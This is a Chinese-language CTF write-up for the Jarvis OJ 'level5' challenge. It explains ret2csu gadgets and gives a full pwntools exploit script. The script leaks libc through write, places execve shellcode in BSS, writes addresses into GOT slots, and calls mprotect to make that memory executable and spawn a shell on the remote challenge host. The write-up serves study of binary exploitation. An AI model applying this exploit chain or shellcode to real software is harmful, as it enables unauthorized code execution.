1. 程式人生 > >jarvis oj level5

jarvis oj level5

level5要求不用system和execve,而是用mprotect和mmap,查了一下,mmap主要是將檔案對映到一段記憶體去同時設定那段記憶體的屬性可讀可寫或者是可執行,mprotect函式是將從addr開始的地址 ,長度位len的記憶體的訪問許可權。毫無頭緒。查了網上大神的wp,才知道思路。

首先leak地址,shellcode寫入bss沒什麼好說的。

要說下為什麼要把bss和mprotect寫入got表

.text:0000000000400690 loc_400690:                             
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

是因為我們可以利用 __libc_csu_init中loc_4006A6處給這6個暫存器賦值,然後通過跳轉到loc_400690處給前三個暫存器賦值,同時還可以控制r12和rbx來控制400699處的call,使用其他地方的函式,完美。而call其他函式需要在got表中存有,可以新增在got表中空閒處。而像level1那樣直接修改返回地址則不需要新增進got表。

那麼把bss和mprotect新增got表後,我在payload5處卡了很久,一直理解不了,終於想通了。說一下理解:

payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)

這一句p64(0x4006A6)+"ret_addr"是跳轉到6a6處,'ret_addr’是跳轉到其他地方時需要先將下一跳壓棧我們是模擬壓棧,然後後面的六個引數分別賦給rbx, rbp, r12,r13, r14,r15。

payload5 += p64(0x400690)+"ret_addr" 

這句跳到690處,賦值給前三個引數暫存器,同時call [r12+rbx*8],我們令r12=mprotect_addr,rbx=0就可以呼叫mprotect,引數就是剛剛賦值的。呼叫完後,我們需要繼續執行到6a6處,因為shellcode還沒執行,我們需要改變r12的值,此時有

    .text:000000000040069D                 add     rbx, 1
    .text:00000000004006A1                 cmp     rbx, rbp
    .text:00000000004006A4                 jnz     short loc_400690

因此我們上面將rbp賦為1,令rbx=rbp,就不會回到690處,而是向下執行。

payload5 +=  p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)

這是向下執行的引數,不多說。

payload5 += p64(0x400690)

這裡跳到690處,執行shellcode。

下面放上指令碼:

from pwn import*
context.log_level = "debug"
p=remote('pwn2.jarvisoj.com',9884)
e = ELF("./level3_x64")
libc = ELF("./libc-2.19.so")
######### leak
write_plt = e.plt["write"]
write_got = e.got["write"]
vul_addr = e.symbols["vulnerable_function"]
rdi = 0x00000000004006b3
rsi_r15 = 0x00000000004006b1

payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr)
p.recvline()
p.send(payload1)
tmp=p.recv(8)
write_addr=u64(tmp[0:8])
print hex(write_addr)

offset=write_addr-libc.symbols['write']
########### read shell code to bss
bss_addr=e.bss()
read_plt=e.symbols['read']
payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload2)
shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
p.send(shell_code)

###########write bss to got table
bss_got= 0x0000000000600A48
payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload3)
p.send(p64(bss_addr))

###########write mpro to got table
mprot_got= 0x0000000000600A50
mprot_addr=libc.symbols['mprotect']+offset
payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr)
p.recvline()
p.send(payload4)
p.send(p64(mprot_addr))

########### jmp to __libc_csu_init to call shellcode
'''
.text:0000000000400690 loc_400690:                             
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
'''
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
payload5 += p64(0x400690)
payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)
p.recvline()
p.send(payload5)
sleep(5)
p.interactive()

還有點疑惑,變成互動輸入的時候需要等一會兒再輸入命令,要不就不顯示,不知道是為啥,所以加了sleep(5),存疑。